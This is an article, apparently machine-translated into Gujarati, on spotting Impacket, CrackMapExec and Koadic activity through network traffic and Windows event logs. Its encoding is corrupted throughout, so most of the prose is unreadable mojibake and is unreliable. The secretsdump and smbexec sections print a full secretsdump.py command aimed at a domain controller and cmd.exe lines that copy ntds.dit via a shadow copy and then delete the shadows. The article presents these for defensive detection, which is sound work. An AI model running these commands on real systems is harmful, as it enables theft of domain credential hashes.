เชเซเชฐเซเชชเซเชฐเซเช เชธเซเชเซเชเชฐเชฎเชพเช เชนเซเชฎเชฒเชพเชเชจเซ เชธเชเชเซเชฏเชพ เชฆเชฐ เชตเชฐเซเชทเซ เชตเชงเซ เชฐเชนเซ เชเซ: เชเชฆเชพเชนเชฐเชฃ เชคเชฐเซเชเซ
เชคเซ เชจเซเชเชงเชตเซเช เชฏเซเชเซเชฏ เชเซ เชเซ เช เชธเชพเชงเชจเซเชจเซ เชเชชเชฏเซเช เชชเซเชฐเชพเชฐเชเชญเชฟเช เชเซเชเชธเชชเซเชเช เชฎเชพเชเซ เชฅเชคเซ เชจเชฅเซ, เชชเชฐเชเชคเซ เชเชจเซเชซเซเชฐเชพเชธเซเชเซเชฐเชเซเชเชฐเชจเซ เช
เชเชฆเชฐ เชนเซเชฎเชฒเซ เชตเชฟเชเชธเชพเชตเชตเชพ เชฎเชพเชเซ. เชนเซเชฎเชฒเชพเชเซเชฐเซ เชชเชฐเชฟเชฎเชฟเชคเชฟเชจเชพ เชเซเชเชธเชชเซเชเช เชชเชเซ เชนเซเชฎเชฒเชพเชจเชพ เชตเชฟเชตเชฟเชง เชคเชฌเชเซเชเชพเชฎเชพเช เชคเซเชจเซ เชเชชเชฏเซเช เชเชฐเซ เชเซ. เช, เชฎเชพเชฐเซเช เชฆเซเชตเชพเชฐเชพ, เชถเซเชงเชตเซเช เชฎเซเชถเซเชเซเชฒ เชเซ เช
เชจเซ เชเชฃเซเชตเชพเชฐ เชซเชเซเชค เชคเชเชจเซเชเซเชจเซ เชฎเชฆเชฆเชฅเซ
เช เชฎเชพเชฐเซ เชถเซเช เชเชฐเชตเชพเชจเซ เชเชฐเซเชฐ เชนเชคเซ:
- เชนเซเชเชฟเชเช เชเซเชฒเซเชธ เชเซเชตเซ เชฐเซเชคเซ เชเชพเชฎ เชเชฐเซ เชเซ เชคเซ เชธเชฎเชเซ. เชนเซเชฎเชฒเชพเชเซเชฐเซเช เชถเซเชทเชฃ เชเชฐเชตเชพเชจเซ เชเชฐเซเชฐ เชเซ เช เชจเซ เชคเซเช เชเช เชคเชเชจเซเชเซเชจเซ เชเชชเชฏเซเช เชเชฐเซ เชถเชเซ เชเซ เชคเซ เชถเซเชงเซ.
- เชนเซเชฎเชฒเชพเชจเชพ เชชเซเชฐเชฅเชฎ เชคเชฌเชเซเชเชพเชฎเชพเช เชฎเชพเชนเชฟเชคเซ เชธเซเชฐเชเซเชทเชพ เชธเชพเชงเชจเซ เชฆเซเชตเชพเชฐเชพ เชถเซเช เชถเซเชงเซ เชถเชเชพเชฏเซเช เชจเชฅเซ เชคเซ เชถเซเชงเซ. เชเชพเชธเซเชธเซ เชคเชฌเชเซเชเซ เชเซเชกเชตเชพเชฎเชพเช เชเชตเซ เชถเชเซ เชเซ, เชเชพเชฐเชฃ เชเซ เชนเซเชฎเชฒเชพเชเซเชฐ เชเชเชคเชฐเชฟเช เชนเซเชฎเชฒเชพเชเซเชฐ เชเซ, เช เชฅเชตเชพ เชเชพเชฐเชฃ เชเซ เชนเซเชฎเชฒเชพเชเซเชฐ เชเชจเซเชซเซเชฐเชพเชธเซเชเซเชฐเชเซเชเชฐเชฎเชพเช เชเชฟเชฆเซเชฐเชจเซเช เชถเซเชทเชฃ เชเชฐเซ เชฐเชนเซเชฏเซ เชเซ เชเซ เช เชเชพเช เชเชพเชฃเซเชคเซเช เชจ เชนเชคเซเช. เชคเซเชจเซ เชเซเชฐเชฟเชฏเชพเชเชจเซ เชธเชฎเชเซเชฐ เชธเชพเชเชเชณเชจเซ เชชเซเชจเชเชธเซเชฅเชพเชชเชฟเชค เชเชฐเชตเชพเชจเซเช เชถเชเซเชฏ เชฌเชจเซ เชเซ, เชคเซเชฅเซ เชตเชงเซ เชนเชฟเชฒเชเชพเชฒ เชถเซเชงเชตเชพเชจเซ เชเชเซเชเชพ.
- เชเซเชธเชฃเชเซเชฐเซ เชถเซเชง เชธเชพเชงเชจเซเชฎเชพเชเชฅเซ เชเซเชเชพ เชนเชเชพเชฐเชพเชคเซเชฎเชเชจเซ เชฆเซเชฐ เชเชฐเซ. เชเชชเชฃเซ เชญเซเชฒเชตเซเช เชจ เชเซเชเช เชเซ เชเซเชฏเชพเชฐเซ เชเชเชฒเชพ เชฐเชฟเชเซเชจเชฟเชธเชจเซเชธเชจเชพ เชเชงเชพเชฐเซ เช เชฎเซเช เชเซเชฐเชฟเชฏเชพเช เชถเซเชงเชตเชพเชฎเชพเช เชเชตเซ เชเซ, เชคเซเชฏเชพเชฐเซ เชตเชพเชฐเชเชตเชพเชฐ เชญเซเชฒเซ เชถเชเซเชฏ เชเซ. เชธเชพเชฎเชพเชจเซเชฏ เชฐเซเชคเซ เชเชจเซเชซเซเชฐเชพเชธเซเชเซเชฐเชเซเชเชฐเชฎเชพเช เชเซเชเชชเชฃ เชฎเชพเชนเชฟเชคเซ เชฎเซเชณเชตเชตเชพ เชฎเชพเชเซ เชชเซเชฐเชคเซ เชธเชเชเซเชฏเชพเชฎเชพเช เชฎเชพเชฐเซเชเซ เชนเซเชฏ เชเซ, เชเซ เชเชพเชฏเชฆเซเชธเชฐ เชฒเซเชเซเชฅเซ เชชเซเชฐเชฅเชฎ เชจเชเชฐเชฎเชพเช เช เชธเซเชชเชทเซเช เชนเซเชฏ เชเซ.
เช เชธเชพเชงเชจเซ เชนเซเชฎเชฒเชพเชเซเชฐเซเชจเซ เชถเซเช เชเชชเซ เชเซ? เชเซ เช Impacket เชเซ, เชคเซ เชนเซเชฎเชฒเชพเชเซเชฐเซเชจเซ เชฎเซเชกเซเชฏเซเชฒเชจเซ เชฎเซเชเซ เชฒเชพเชเชฌเซเชฐเซเชฐเซ เชฎเชณเซ เชเซ เชเซเชจเซ เชเชชเชฏเซเช เชนเซเชฎเชฒเชพเชจเชพ เชตเชฟเชตเชฟเชง เชคเชฌเชเซเชเชพเชฎเชพเช เชฅเช เชถเชเซ เชเซ เชเซ เชชเชฐเชฟเชฎเชฟเชคเชฟ เชคเซเชกเซเชฏเชพ เชชเชเซ เช เชจเซเชธเชฐเซ เชเซ. เชเชฃเชพ เชธเชพเชงเชจเซ เชเชเชคเชฐเชฟเช เชฐเซเชคเซ Impacket เชฎเซเชกเซเชฏเซเชฒเซเชจเซ เชเชชเชฏเซเช เชเชฐเซ เชเซ - เชเชฆเชพเชนเชฐเชฃ เชคเชฐเซเชเซ, Metasploit. เชคเซเชฎเชพเช เชฐเชฟเชฎเซเช เชเชฎเชพเชจเซเชก เชเชเซเชเซเชเซเชฏเซเชถเชจ เชฎเชพเชเซ dcomexec เช เชจเซ wmiexec เชเซ, Impacket เชฎเชพเชเชฅเซ เชเชฎเซเชฐเชตเชพเชฎเชพเช เชเชตเซเชฒ เชฎเซเชฎเชฐเซเชฎเชพเชเชฅเซ เชเชเชพเชเชจเซเชเซเชธ เชฎเซเชณเชตเชตเชพ เชฎเชพเชเซ secretsdump. เชชเชฐเชฟเชฃเชพเชฎเซ, เชเชตเซ เชฒเชพเชเชฌเซเชฐเซเชฐเซเชจเซ เชชเซเชฐเชตเซเชคเซเชคเชฟเชจเซ เชธเชพเชเซ เชคเชชเชพเชธ เชกเซเชฐเชฟเชตเซเชเชฟเชตเซเชเชจเซ เชถเซเชงเชจเซ เชธเซเชจเชฟเชถเซเชเชฟเชค เชเชฐเชถเซ.
เชคเซ เชเซเช เชธเชเชฏเซเช เชจเชฅเซ เชเซ เชจเชฟเชฐเซเชฎเชพเชคเชพเชเช CrackMapExec (เช เชฅเชตเชพ เชซเชเซเชค CME) เชตเชฟเชถเซ "Impacket เชฆเซเชตเชพเชฐเชพ เชธเชเชเชพเชฒเชฟเชค" เชฒเชเซเชฏเซเช เชนเชคเซเช. เชตเชงเซเชฎเชพเช, CME เชชเชพเชธเซ เชฒเซเชเชชเซเชฐเชฟเชฏ เชฆเซเชถเซเชฏเซ เชฎเชพเชเซ เชคเซเชฏเชพเชฐ เชเชพเชฐเซเชฏเชเซเชทเชฎเชคเชพ เชเซ: เชชเชพเชธเชตเชฐเซเชกเซเชธ เช เชฅเชตเชพ เชคเซเชฎเชจเชพ เชนเซเชถ เชฎเซเชณเชตเชตเชพ เชฎเชพเชเซ Mimikatz, เชฐเชฟเชฎเซเช เชเชเซเชเชฟเชเซเชฏเซเชถเชจ เชฎเชพเชเซ เชฎเซเชเชฐเชชเซเชฐเซเชเชฐ เช เชฅเชตเชพ เชเชฎเซเชชเชพเชฏเชฐ เชเชเชจเซเชเชจเซ เช เชฎเชฒ เช เชจเซ เชฌเซเชฐเซเชก เชชเชฐ เชฌเซเชฒเชกเชนเชพเชเชจเซเชก.
เช เชฎเซ เชชเชธเชเชฆ เชเชฐเซเชฒเซเช เชคเซเชฐเซเชเซเช เชธเชพเชงเชจ เชเซเชเชกเชฟเช เชนเชคเซเช. เชคเซ เชเชเชฆเชฎ เชคเชพเชเซเชคเชฐเชจเซเช เชเซ, เชคเซ 25 เชฎเชพเช เชเชเชคเชฐเชฐเชพเชทเซเชเซเชฐเซเชฏ เชนเซเชเชฐ เชเซเชจเซเชซเชฐเชจเซเชธ DEFCON 2017 เชฎเชพเช เชฐเชเซ เชเชฐเชตเชพเชฎเชพเช เชเชตเซเชฏเซเช เชนเชคเซเช เช เชจเซ เชคเซ เชฌเชฟเชจ-เชฎเชพเชจเช เช เชญเชฟเชเชฎ เชฆเซเชตเชพเชฐเชพ เช เชฒเช เชชเชกเซ เชเซ: เชคเซ HTTP, Java Script เช เชจเซ Microsoft Visual Basic Script (VBS) เชฆเซเชตเชพเชฐเชพ เชเชพเชฐเซเชฏ เชเชฐเซ เชเซ. เช เช เชญเชฟเชเชฎเชจเซ เชเชฎเซเชจเชจเซ เชฌเชนเชพเชฐ เชเซเชตเชตเชพเชจเซเช เชเชนเซเชตเชพเชฎเชพเช เชเชตเซ เชเซ: เชธเชพเชงเชจ เชตเชฟเชจเซเชกเซเชเชฎเชพเช เชฌเชจเซเชฒเซ เชจเชฟเชฐเซเชญเชฐเชคเชพ เช เชจเซ เชชเซเชธเซเชคเชเชพเชฒเชฏเซเชจเชพ เชธเชฎเซเชนเชจเซ เชเชชเชฏเซเช เชเชฐเซ เชเซ. เชธเชฐเซเชเชเซ เชคเซเชจเซ COM เชเชฎเชพเชจเซเชก เชเชจเซเชก เชเชเชเซเชฐเซเชฒ เช เชฅเชตเชพ C3 เชเชนเซ เชเซ.
IMPACKET
Impacket เชจเซ เชเชพเชฐเซเชฏเชเซเชทเชฎเชคเชพ เชเซเชฌ เช เชตเชฟเชถเชพเชณ เชเซ, เชเซเชฎเชพเช AD เชจเซ เช เชเชฆเชฐ เชฐเชฟเชเซเชจเชฟเชธเชจเซเชธ เช เชจเซ เชเชเชคเชฐเชฟเช MS SQL เชธเชฐเซเชตเชฐเชฎเชพเชเชฅเซ เชกเซเชเชพ เชเชเชคเซเชฐ เชเชฐเชตเชพ, เชเชณเชเชชเชคเซเชฐ เชฎเซเชณเชตเชตเชพ เชฎเชพเชเซเชจเซ เชคเชเชจเซเชเซ เชธเซเชงเซเชจเซ เชเซ: เช เชเช SMB เชฐเชฟเชฒเซ เชนเซเชฎเชฒเซ เชเซ, เช เชจเซ เชกเซเชฎเซเชจ เชจเชฟเชฏเชเชคเซเชฐเชเชฎเชพเชเชฅเซ เชตเชชเชฐเชพเชถเชเชฐเซเชคเชพเชจเชพ เชชเชพเชธเชตเชฐเซเชกเชจเชพ เชนเซเชถ เชงเชฐเชพเชตเชคเซ ntds.dit เชซเชพเชเชฒ เชฎเซเชณเชตเชตเซ. เชเชฎเซเชชเซเชเซเช เชเชพเชฐ เช เชฒเช-เช เชฒเช เชชเชฆเซเชงเชคเชฟเชเชจเซ เชเชชเชฏเซเช เชเชฐเซเชจเซ เชเชฆเซเชถเซเชจเซ เชฆเซเชฐเชธเซเชฅ เชฐเซเชคเซ เชชเชฃ เชเชฒเชพเชตเซ เชเซ: WMI, Windows เชถเซเชกเซเชฏเซเชฒเชฐ เชฎเซเชจเซเชเชฎเซเชจเซเช เชธเชฐเซเชตเชฟเชธ, DCOM เช เชจเซ SMB, เช เชจเซ เชเชฎ เชเชฐเชตเชพ เชฎเชพเชเซ เชเชณเชเชชเชคเซเชฐเซเชจเซ เชเชฐเซเชฐ เชชเชกเซ เชเซ.
เชธเชฟเชเซเชฐเซเชเซเชธเชกเชฎเซเชช
เชเชพเชฒเซ secretsdump เชชเชฐ เชเช เชจเชเชฐ เชเชฐเซเช. เช เชเช เชฎเซเชกเซเชฏเซเชฒ เชเซ เชเซ เชตเชชเชฐเชพเชถเชเชฐเซเชคเชพ เชฎเชถเซเชจเซ เช เชจเซ เชกเซเชฎเซเชจ เชจเชฟเชฏเชเชคเซเชฐเชเซ เชฌเชเชจเซเชจเซ เชฒเชเซเชทเซเชฏ เชฌเชจเชพเชตเซ เชถเชเซ เชเซ. เชคเซเชจเซ เชเชชเชฏเซเช เชฎเซเชฎเชฐเซ เชตเชฟเชธเซเชคเชพเชฐเซ LSA, SAM, SECURITY, NTDS.dit เชจเซ เชจเชเชฒเซ เชฎเซเชณเชตเชตเชพ เชฎเชพเชเซ เชฅเช เชถเชเซ เชเซ, เชคเซเชฅเซ เชคเซ เชนเซเชฎเชฒเชพเชจเชพ เชตเชฟเชตเชฟเชง เชคเชฌเชเซเชเชพเชฎเชพเช เชเซเช เชถเชเชพเชฏ เชเซ. เชฎเซเชกเซเชฏเซเชฒเชจเซ เชเชพเชฎเชเซเชฐเซเชฎเชพเช เชชเซเชฐเชฅเชฎ เชชเชเชฒเซเช SMB เชฆเซเชตเชพเชฐเชพ เชชเซเชฐเชฎเชพเชฃเซเชเชฐเชฃ เชเซ, เชเซเชจเซ เชชเชพเชธ เชง เชนเซเชถ เชเชเซเชเชจเซ เชเชชเชฎเซเชณเซ เชนเชพเชฅ เชงเชฐเชตเชพ เชฎเชพเชเซ เชตเชชเชฐเชพเชถเชเชฐเซเชคเชพเชจเชพ เชชเชพเชธเชตเชฐเซเชก เช เชฅเชตเชพ เชคเซเชจเชพ เชนเซเชถเชจเซ เชเชฐเซเชฐ เชชเชกเซ เชเซ. เชเชเชณ เชธเชฐเซเชตเชฟเชธ เชเชเชเซเชฐเซเชฒ เชฎเซเชจเซเชเชฐ (SCM) เชจเซ เชเชเซเชธเซเชธ เชเซเชฒเชตเชพเชจเซ เช เชจเซ เชตเชฟเชจเชฐเซเช เชชเซเชฐเซเชเซเชเซเชฒ เชฆเซเชตเชพเชฐเชพ เชฐเชเชฟเชธเซเชเซเชฐเซเชจเซ เชเชเซเชธเซเชธ เชฎเซเชณเชตเชตเชพเชจเซ เชตเชฟเชจเชเชคเซ เชเชตเซ เชเซ, เชเซเชจเซ เชเชชเชฏเซเช เชเชฐเซเชจเซ เชนเซเชฎเชฒเชพเชเซเชฐ เชฐเซเชเชฟเชจเซ เชถเชพเชเชพเชเชจเซ เชกเซเชเชพ เชถเซเชงเซ เชถเชเซ เชเซ เช เชจเซ SMB เชฆเซเชตเชพเชฐเชพ เชชเชฐเชฟเชฃเชพเชฎเซ เชฎเซเชณเชตเซ เชถเชเซ เชเซ.
เชซเชฟเช เชฎเชพเช. 1 เชเชชเชฃเซ เชเซเชเช เชเซเช เชเซ เชตเชฟเชจเชฐเซเช เชชเซเชฐเซเชเซเชเซเชฒเชจเซ เชเชชเชฏเซเช เชเชฐเชคเซ เชตเชเชคเซ, LSA เชธเชพเชฅเซ เชฐเชเชฟเชธเซเชเซเชฐเซ เชเซเชจเซ เชเชชเชฏเซเช เชเชฐเซเชจเซ เชเชเซเชธเซเชธ เชเซเชตเซ เชฐเซเชคเซ เชชเซเชฐเชพเชชเซเชค เชฅเชพเชฏ เชเซ. เช เชเชฐเชตเชพ เชฎเชพเชเซ, opcode 15 - OpenKey เชธเชพเชฅเซ DCERPC เชเชฆเซเชถเชจเซ เชเชชเชฏเซเช เชเชฐเซ.
เชเซเชเชพ. 1. winreg เชชเซเชฐเซเชเซเชเซเชฒเชจเซ เชเชชเชฏเซเช เชเชฐเซเชจเซ เชฐเชเชฟเชธเซเชเซเชฐเซ เชเซ เชเซเชฒเชตเซ
เชเชเชณ, เชเซเชฏเชพเชฐเซ เชเซเชจเซ เชเชเซเชธเซเชธ เชฎเซเชณเชตเชตเชพเชฎเชพเช เชเชตเซ เชเซ, เชคเซเชฏเชพเชฐเซ เชฎเซเชฒเซเชฏเซ เชเชชเชเซเชก 20 เชธเชพเชฅเซ SaveKey เชเชฆเซเชถ เชธเชพเชฅเซ เชธเชพเชเชตเชตเชพเชฎเชพเช เชเชตเซ เชเซ. Impacket เช เชเซเชฌ เชเซเชเซเชเชธ เชฐเซเชคเซ เชเชฐเซ เชเซ. เชคเซ เชฎเซเชฒเซเชฏเซเชจเซ เชซเชพเชเชฒเชฎเชพเช เชธเชพเชเชตเซ เชเซ เชเซเชจเซเช เชจเชพเชฎ .tmp เชธเชพเชฅเซ เชเซเชกเชพเชฏเซเชฒ 8 เชฐเซเชจเซเชกเชฎ เช เชเซเชทเชฐเซเชจเซ เชธเซเชเซเชฐเชฟเชเช เชเซ. เชตเชงเซเชฎเชพเช, เช เชซเชพเชเชฒเชจเซเช เชตเชงเซ เช เชชเชฒเซเชก SMB เชฆเซเชตเชพเชฐเชพ System32 เชกเชฟเชฐเซเชเซเชเชฐเซ (เชซเชฟเช. 2) เชฎเชพเชเชฅเซ เชฅเชพเชฏ เชเซ.
เชเซเชเชพ. 2. เชฐเชฟเชฎเซเช เชฎเชถเซเชจเชฎเชพเชเชฅเซ เชฐเชเชฟเชธเซเชเซเชฐเซ เชเซ เชฎเซเชณเชตเชตเชพ เชฎเชพเชเซเชจเซ เชฏเซเชเชจเชพ
เชคเซ เชคเชพเชฐเชฃ เชเชชเซ เชเซ เชเซ เชจเซเชเชตเชฐเซเช เชชเชฐ เชเชตเซ เชชเซเชฐเชตเซเชคเซเชคเชฟเชจเซ เชตเชฟเชจเชฐเซเช เชชเซเชฐเซเชเซเชเซเชฒ, เชเซเชเซเชเชธ เชจเชพเชฎเซ, เชเชฆเซเชถเซ เช เชจเซ เชคเซเชฎเชจเชพ เชเชฐเซเชกเชฐเชจเซ เชเชชเชฏเซเช เชเชฐเซเชจเซ เชเซเชเซเชเชธ เชฐเชเชฟเชธเซเชเซเชฐเซ เชถเชพเชเชพเชเชจเซ เชชเซเชฐเชถเซเชจเซ เชฆเซเชตเชพเชฐเชพ เชถเซเชงเซ เชถเชเชพเชฏ เชเซ.
เช เชฎเซเชกเซเชฏเซเชฒ เชตเชฟเชจเซเชกเซเช เชเชตเซเชจเซเช เชฒเซเชเชฎเชพเช เชชเชฃ เชจเชฟเชถเชพเชจ เชเซเชกเซ เชเซ, เชเซ เชคเซเชจเซ เชถเซเชงเชตเชพเชจเซเช เชธเชฐเชณ เชฌเชจเชพเชตเซ เชเซ. เชเชฆเชพเชนเชฐเชฃ เชคเชฐเซเชเซ, เชเชฆเซเชถ เชเชฒเชพเชตเชตเชพเชจเชพ เชชเชฐเชฟเชฃเชพเชฎเซ
secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DC
เชตเชฟเชจเซเชกเซเช เชธเชฐเซเชตเชฐ 2016 เชฒเซเชเชฎเชพเช เชเชชเชฃเซ เชเชเชจเชพเชเชจเซ เชจเซเชเซเชจเซ เชฎเซเชเซเชฏ เชเซเชฐเชฎ เชเซเชถเซเช:
1. 4624 - เชฐเชฟเชฎเซเช เชฒเซเชเซเชจ.
2. 5145 - เชตเชฟเชจเชฐเซเช เชฐเชฟเชฎเซเช เชธเชฐเซเชตเชฟเชธเชจเชพ เชเชเซเชธเซเชธ เชฐเชพเชเชเซเชธ เชคเชชเชพเชธเซ เชฐเชนเซเชฏเชพ เชเซเช.
3. 5145 - System32 เชกเชฟเชฐเซเชเซเชเชฐเซเชฎเชพเช เชซเชพเชเชฒ เชเชเซเชธเซเชธ เชฐเชพเชเชเซเชธ เชคเชชเชพเชธเซ เชฐเชนเซเชฏเชพ เชเซเช. เชซเชพเชเชฒเชฎเชพเช เชเชชเชฐ เชเชฃเชพเชตเซเชฒ เชฐเซเชจเซเชกเชฎ เชจเชพเชฎ เชเซ.
4. 4688 - cmd.exe เชชเซเชฐเชเซเชฐเชฟเชฏเชพ เชฌเชจเชพเชตเชตเซ เชเซ vssadmin เชฒเซเชจเซเช เชเชฐเซ เชเซ:
โC:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin list shadows ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat
5. 4688 - เชเชฆเซเชถ เชธเชพเชฅเซ เชชเซเชฐเชเซเชฐเชฟเชฏเชพ เชฌเชจเชพเชตเชตเซ:
"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin create shadow /For=C: ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat
6. 4688 - เชเชฆเซเชถ เชธเชพเชฅเซ เชชเซเชฐเชเซเชฐเชฟเชฏเชพ เชฌเชจเชพเชตเชตเซ:
"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy3WindowsNTDSntds.dit %SYSTEMROOT%TemprmumAfcn.tmp ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat
7. 4688 - เชเชฆเซเชถ เชธเชพเชฅเซ เชชเซเชฐเชเซเชฐเชฟเชฏเชพ เชฌเชจเชพเชตเชตเซ:
"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin delete shadows /For=C: /Quiet ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat
Smbexec
เชเชฃเชพ เชชเซเชธเซเช-เชถเซเชทเชฃ เชธเชพเชงเชจเซเชจเซ เชเซเชฎ, เชเชฎเซเชชเซเชเซเชเชฎเชพเช เชเชฆเซเชถเซเชจเซ เชฆเซเชฐเชธเซเชฅ เชฐเซเชคเซ เชเชฒเชพเชตเชตเชพ เชฎเชพเชเซ เชฎเซเชกเซเชฏเซเชฒเซ เชเซ. เช เชฎเซ smbexec เชชเชฐ เชงเซเชฏเชพเชจ เชเซเชจเซเชฆเซเชฐเชฟเชค เชเชฐเซเชถเซเช, เชเซ เชฐเชฟเชฎเซเช เชฎเชถเซเชจ เชชเชฐ เชเชจเซเชเชฐเซเชเซเชเชฟเชต เชเชฎเชพเชจเซเชก เชถเซเชฒ เชชเซเชฐเชฆเชพเชจ เชเชฐเซ เชเซ. เช เชฎเซเชกเซเชฏเซเชฒเชจเซ SMB เชฆเซเชตเชพเชฐเชพ เชชเซเชฐเชฎเชพเชฃเซเชเชฐเชฃเชจเซ เชชเชฃ เชเชฐเซเชฐ เชเซ, เชเซเชฏเชพเช เชคเซ เชชเชพเชธเชตเชฐเซเชก เช เชฅเชตเชพ เชชเชพเชธเชตเชฐเซเชก เชนเซเชถ เชธเชพเชฅเซ. เชซเชฟเช เชฎเชพเช. เชเชเซเชคเชฟ 3 เชฎเชพเช เชเชชเชฃเซ เชเชตเชพ เชธเชพเชงเชจ เชเซเชตเซ เชฐเซเชคเซ เชเชพเชฐเซเชฏ เชเชฐเซ เชเซ เชคเซเชจเซเช เชเชฆเชพเชนเชฐเชฃ เชเซเชเช เชเซเช, เช เชเชฟเชธเซเชธเชพเชฎเชพเช เชคเซ เชธเซเชฅเชพเชจเชฟเช เชเชกเชฎเชฟเชจเชฟเชธเซเชเซเชฐเซเชเชฐ เชเชจเซเชธเซเชฒ เชเซ.
เชเซเชเชพ. 3. เชเชจเซเชเชฐเซเชเซเชเชฟเชต smbexec เชเชจเซเชธเซเชฒ
เชชเซเชฐเชฎเชพเชฃเซเชเชฐเชฃ เชชเชเซ smbexec เชจเซเช เชชเซเชฐเชฅเชฎ เชชเชเชฒเซเช OpenSCManagerW เชเชฆเซเชถ (15) เชธเชพเชฅเซ SCM เชเซเชฒเชตเชพเชจเซเช เชเซ. เชเซเชตเซเชฐเซ เชจเซเชเชงเชชเชพเชคเซเชฐ เชเซ: เชฎเชถเซเชจเชจเชพเชฎ เชซเซเชฒเซเชก เชกเชฎเซ เชเซ.
เชเซเชเชพ. 4. เชธเชฐเซเชตเชฟเชธ เชเชเชเซเชฐเซเชฒ เชฎเซเชจเซเชเชฐ เชเซเชฒเชตเชพเชจเซ เชตเชฟเชจเชเชคเซ
เชเชเชณ, เชธเซเชตเชพ CreateServiceW เชเชฆเซเชถ (12) เชจเซ เชเชชเชฏเซเช เชเชฐเซเชจเซ เชฌเชจเชพเชตเชตเชพเชฎเชพเช เชเชตเซ เชเซ. smbexec เชจเชพ เชเชฟเชธเซเชธเชพเชฎเชพเช, เชเชชเชฃเซ เชฆเชฐเซเช เชตเชเชคเซ เชธเชฎเชพเชจ เชเชฆเซเชถ เชฌเชพเชเชงเชเชพเชฎ เชคเชฐเซเช เชเซเช เชถเชเซเช เชเซเช. เชซเชฟเช เชฎเชพเช. 5 เชฒเซเชฒเซ เชฌเชฆเชฒเซ เชจ เชถเชเชพเชฏ เชคเซเชตเชพ เชเชฆเซเชถ เชชเชฐเชฟเชฎเชพเชฃเซ เชธเซเชเชตเซ เชเซ, เชชเซเชณเซ เชธเซเชเชตเซ เชเซ เชเซ เชนเซเชฎเชฒเชพเชเซเชฐ เชถเซเช เชฌเชฆเชฒเซ เชถเชเซ เชเซ. เชเชเซเชเซเชเซเชฏเซเชเซเชฌเชฒ เชซเชพเชเชฒเชจเซเช เชจเชพเชฎ, เชคเซเชจเซ เชกเชฟเชฐเซเชเซเชเชฐเซ เช เชจเซ เชเชเชเชชเซเช เชซเชพเชเชฒเชจเซ เชฌเชฆเชฒเซ เชถเชเชพเชฏ เชเซ เชคเซ เชเซเชตเชพเชจเซเช เชธเชฐเชณ เชเซ, เชชเชฐเชเชคเซ เชเชฎเซเชชเซเชเซเช เชฎเซเชกเซเชฏเซเชฒเชจเชพ เชคเชฐเซเชเชจเซ เชเชฒเซเชฒ เชชเชนเซเชเชเชพเชกเซเชฏเชพ เชตเชฟเชจเชพ เชฌเชพเชเซเชจเซเช เชฌเชฆเชฒเชตเซเช เชตเชงเซ เชฎเซเชถเซเชเซเชฒ เชเซ.
เชเซเชเชพ. 5. เชธเชฐเซเชตเชฟเชธ เชเชเชเซเชฐเซเชฒ เชฎเซเชจเซเชเชฐเชจเซ เชเชชเชฏเซเช เชเชฐเซเชจเซ เชธเซเชตเชพ เชฌเชจเชพเชตเชตเชพเชจเซ เชตเชฟเชจเชเชคเซ
Smbexec เชชเชฃ Windows เชเชตเซเชจเซเช เชฒเซเชเชฎเชพเช เชธเซเชชเชทเซเช เชจเชฟเชถเชพเชจ เชเซเชกเซ เชเซ. ipconfig เชเชฆเซเชถ เชธเชพเชฅเซ เชเชจเซเชเชฐเซเชเซเชเชฟเชต เชเชฎเชพเชจเซเชก เชถเซเชฒ เชฎเชพเชเซ เชตเชฟเชจเซเชกเซเช เชธเชฐเซเชตเชฐ 2016 เชฒเซเชเชฎเชพเช, เชเชชเชฃเซ เชเชเชจเชพเชเชจเซ เชจเซเชเซเชจเซ เชเซ เชเซเชฐเชฎ เชเซเชถเซเช:
1. 4697 - เชชเซเชกเชฟเชคเชจเชพ เชฎเชถเซเชจ เชชเชฐ เชธเซเชตเชพเชจเซ เชธเซเชฅเชพเชชเชจเชพ:
%COMSPEC% /Q /c echo cd ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat
2. 4688 - เชฌเชฟเชเชฆเซ 1 เชฅเซ เชฆเชฒเซเชฒเซ เชธเชพเชฅเซ cmd.exe เชชเซเชฐเชเซเชฐเชฟเชฏเชพเชจเซ เชฐเชเชจเชพ.
3. 5145 - C$ เชกเชฟเชฐเซเชเซเชเชฐเซเชฎเชพเช __เชเชเชเชชเซเช เชซเชพเชเชฒเชจเชพ เชเชเซเชธเซเชธ เช
เชงเชฟเชเชพเชฐเซ เชคเชชเชพเชธเซ เชฐเชนเซเชฏเชพ เชเซเช.
4. 4697 - เชชเซเชกเชฟเชคเชจเชพ เชฎเชถเซเชจ เชชเชฐ เชธเซเชตเชพเชจเซ เชธเซเชฅเชพเชชเชจเชพ.
%COMSPEC% /Q /c echo ipconfig ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat
5. 4688 - เชฌเชฟเชเชฆเซ 4 เชฅเซ เชฆเชฒเซเชฒเซ เชธเชพเชฅเซ cmd.exe เชชเซเชฐเชเซเชฐเชฟเชฏเชพเชจเซ เชฐเชเชจเชพ.
6. 5145 - C$ เชกเชฟเชฐเซเชเซเชเชฐเซเชฎเชพเช __เชเชเชเชชเซเช เชซเชพเชเชฒเชจเชพ เชเชเซเชธเซเชธ เช
เชงเชฟเชเชพเชฐเซ เชคเชชเชพเชธเซ เชฐเชนเซเชฏเชพ เชเซเช.
